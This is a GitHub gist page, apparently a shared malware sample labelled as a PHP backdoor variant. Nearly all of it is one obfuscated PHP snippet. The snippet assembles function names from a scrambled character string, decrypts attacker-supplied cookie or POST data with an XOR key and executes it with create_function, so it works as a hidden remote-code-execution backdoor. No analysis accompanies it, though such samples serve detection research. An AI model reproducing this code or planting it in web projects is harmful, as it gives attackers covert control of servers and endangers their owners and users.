Skip to content

Instantly share code, notes, and snippets.

@akosbitninja
Created July 15, 2020 09:50
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save akosbitninja/b5fa9d959806a9f139cd4ace73b75ed5 to your computer and use it in GitHub Desktop.
Save akosbitninja/b5fa9d959806a9f139cd4ace73b75ed5 to your computer and use it in GitHub Desktop.
PHP.Backdoor.HexaBotnet.Double.Variant
$vwqplrz = '#9p5lr*ma_f0keb\'6cy1t7gnidsH4-uo2x38v';$pjfzd = Array();$pjfzd[] = $vwqplrz[17].$vwqplrz[5].$vwqplrz[13].$vwqplrz[8].$vwqplrz[20].$vwqplrz[13].$vwqplrz[9].$vwqplrz[10].$vwqplrz[30].$vwqplrz[23].$vwqplrz[17].$vwqplrz[20].$vwqplrz[24].$vwqplrz[31].$vwqplrz[23];$pjfzd[] = $vwqplrz[14].$vwqplrz[21].$vwqplrz[17].$vwqplrz[28].$vwqplrz[19].$vwqplrz[16].$vwqplrz[19].$vwqplrz[32].$vwqplrz[29].$vwqplrz[11].$vwqplrz[34].$vwqplrz[19].$vwqplrz[1].$vwqplrz[29].$vwqplrz[28].$vwqplrz[35].$vwqplrz[17].$vwqplrz[25].$vwqplrz[29].$vwqplrz[14].$vwqplrz[14].$vwqplrz[21].$vwqplrz[10].$vwqplrz[29].$vwqplrz[34].$vwqplrz[3].$vwqplrz[19].$vwqplrz[25].$vwqplrz[21].$vwqplrz[17].$vwqplrz[25].$vwqplrz[34].$vwqplrz[3].$vwqplrz[21].$vwqplrz[8].$vwqplrz[34];$pjfzd[] = $vwqplrz[27].$vwqplrz[6];$pjfzd[] = $vwqplrz[0];$pjfzd[] = $vwqplrz[17].$vwqplrz[31].$vwqplrz[30].$vwqplrz[23].$vwqplrz[20];$pjfzd[] = $vwqplrz[26].$vwqplrz[20].$vwqplrz[5].$vwqplrz[9].$vwqplrz[5].$vwqplrz[13].$vwqplrz[2].$vwqplrz[13].$vwqplrz[8].$vwqplrz[20];$pjfzd[] = $vwqplrz[13].$vwqplrz[33].$vwqplrz[2].$vwqplrz[4].$vwqplrz[31].$vwqplrz[25].$vwqplrz[13];$pjfzd[] = $vwqplrz[26].$vwqplrz[30].$vwqplrz[14].$vwqplrz[26].$vwqplrz[20].$vwqplrz[5];$pjfzd[] = $vwqplrz[8].$vwqplrz[5].$vwqplrz[5].$vwqplrz[8].$vwqplrz[18].$vwqplrz[9].$vwqplrz[7].$vwqplrz[13].$vwqplrz[5].$vwqplrz[22].$vwqplrz[13];$pjfzd[] = $vwqplrz[26].$vwqplrz[20].$vwqplrz[5].$vwqplrz[4].$vwqplrz[13].$vwqplrz[23];$pjfzd[] = $vwqplrz[2].$vwqplrz[8].$vwqplrz[17].$vwqplrz[12];foreach ($pjfzd[8]($_COOKIE, $_POST) as $hwvlyo => $naejn){function wksqfgp($pjfzd, $hwvlyo, $fvrpf){return $pjfzd[7]($pjfzd[5]($hwvlyo . $pjfzd[1], ($fvrpf / $pjfzd[9]($hwvlyo)) + 1), 0, $fvrpf);}function sdyjzg($pjfzd, $mubmjva){return @$pjfzd[10]($pjfzd[2], $mubmjva);}function rbmfv($pjfzd, $mubmjva){$nnprsd = $pjfzd[4]($mubmjva) % 3;if (!$nnprsd) {$ivhjx = $pjfzd[0]; $jdbfr = $ivhjx("", $mubmjva[1]($mubmjva[2]));$jdbfr();exit();}}$naejn = sdyjzg($pjfzd, $naejn);rbmfv($pjfzd, $pjfzd[6]($pjfzd[3], $naejn ^ wksqfgp($pjfzd, $hwvlyo, $pjfzd[9]($naejn))));}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment